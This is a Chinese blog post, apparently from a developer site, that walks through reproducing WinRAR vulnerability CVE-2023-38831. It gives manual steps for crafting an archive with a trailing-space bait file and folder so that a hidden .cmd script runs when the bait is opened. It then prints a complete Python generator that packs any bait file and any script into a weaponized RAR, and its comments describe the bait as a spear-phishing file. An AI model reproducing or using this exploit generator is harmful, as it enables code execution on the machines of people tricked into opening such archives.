WinRAR代码执行漏洞CVE-2023-38831复现

首先利用两个压缩工具,一个是7z,一个是rar,7z主要是用来创建测试漏洞文件

在文件夹中,创建两个文件

1 test (文件夹)

2 ReadMe.txt .cmd (批处理文件)

用7z,压缩文件,右键把test文件夹压缩成zip,然后在打开

新建一个名称为,ReadMe.txt 的文件和 ReadMe.txt 文件夹(注意,文件是会有冲突的)踩坑点,需要用rar和7z配合使用

在test文件夹内再创建一个test.txt文件夹(不在桌面创建是因为已经有了一个test.txt文本),然后在test.txt文件夹中创建"test.txt .cmd",注意有空格哟。

这里可以创建cmd或者bat两种脚本文件。

test.zip压缩包需要用7zip打开,然后把test.txt文件夹拖入压缩包中,修改test.txt文件夹名称加一个空格"test.txt "

把桌面的test.txt也拖入test.zip压缩包中,也需要重命名为"test.txt "

最后用压缩包打开,双击"test.txt "成功执行"test.txt .cmd"打开Calc

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import shutil
import os
import sys

TEMPLATE_NAME = "TEMPLATE"
OUTPUT_NAME = "CVE-2023-38831-poc.rar"

BAIT_NAME = "test.txt"
SCRIPT_NAME = "test.bat"

def main():
    global BAIT_NAME, SCRIPT_NAME, OUTPUT_NAME  # 声明为全局变量

    # 处理命令行参数
    if len(sys.argv) > 3:
        BAIT_NAME = os.path.basename(sys.argv[1])
        SCRIPT_NAME = os.path.basename(sys.argv[2])
        OUTPUT_NAME = os.path.basename(sys.argv[3])
    elif len(sys.argv) == 2 and sys.argv[1] == "poc":
        pass
    else:
        print("""用法:
              python cve-2023-38831-exp-gen.py poc
              python cve-2023-38831-exp-gen.py <BAIT_NAME> <SCRIPT_NAME> <OUTPUT_NAME>""")
        sys.exit()

    # 提取鱼叉文件名的扩展名
    BAIT_EXT = b"." + bytes(BAIT_NAME.split(".")[-1], "utf-8")

    print("鱼叉文件名:", BAIT_NAME)
    print("脚本文件名:", SCRIPT_NAME)
    print("输出文件名:", OUTPUT_NAME)

    # 清理并创建必要的目录
    if os.path.exists(TEMPLATE_NAME):
        shutil.rmtree(TEMPLATE_NAME)
    os.mkdir(TEMPLATE_NAME)
    d = os.path.join(TEMPLATE_NAME, BAIT_NAME + "A")
    if not os.path.exists(d):
        os.mkdir(d)

    # 复制文件到模板目录
    shutil.copyfile(SCRIPT_NAME, os.path.join(d, BAIT_NAME + "A.cmd"))
    shutil.copyfile(BAIT_NAME, os.path.join(TEMPLATE_NAME, BAIT_NAME + "B"))

    # 创建模板目录的 zip 压缩文件
    shutil.make_archive(TEMPLATE_NAME, 'zip', TEMPLATE_NAME)

    # 读取、修改并写回 zip 压缩文件
    with open(TEMPLATE_NAME + ".zip", "rb") as f:
        content = f.read()
        content = content.replace(BAIT_EXT + b"A", BAIT_EXT + b" ")
        content = content.replace(BAIT_EXT + b"B", BAIT_EXT + b" ")

    os.remove(TEMPLATE_NAME + ".zip")

    # 将修改后的内容保存为最终输出文件
    with open(OUTPUT_NAME, "wb") as f:
        f.write(content)

    print("成功生成漏洞利用代码。")

if __name__ == "__main__":
    main()

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值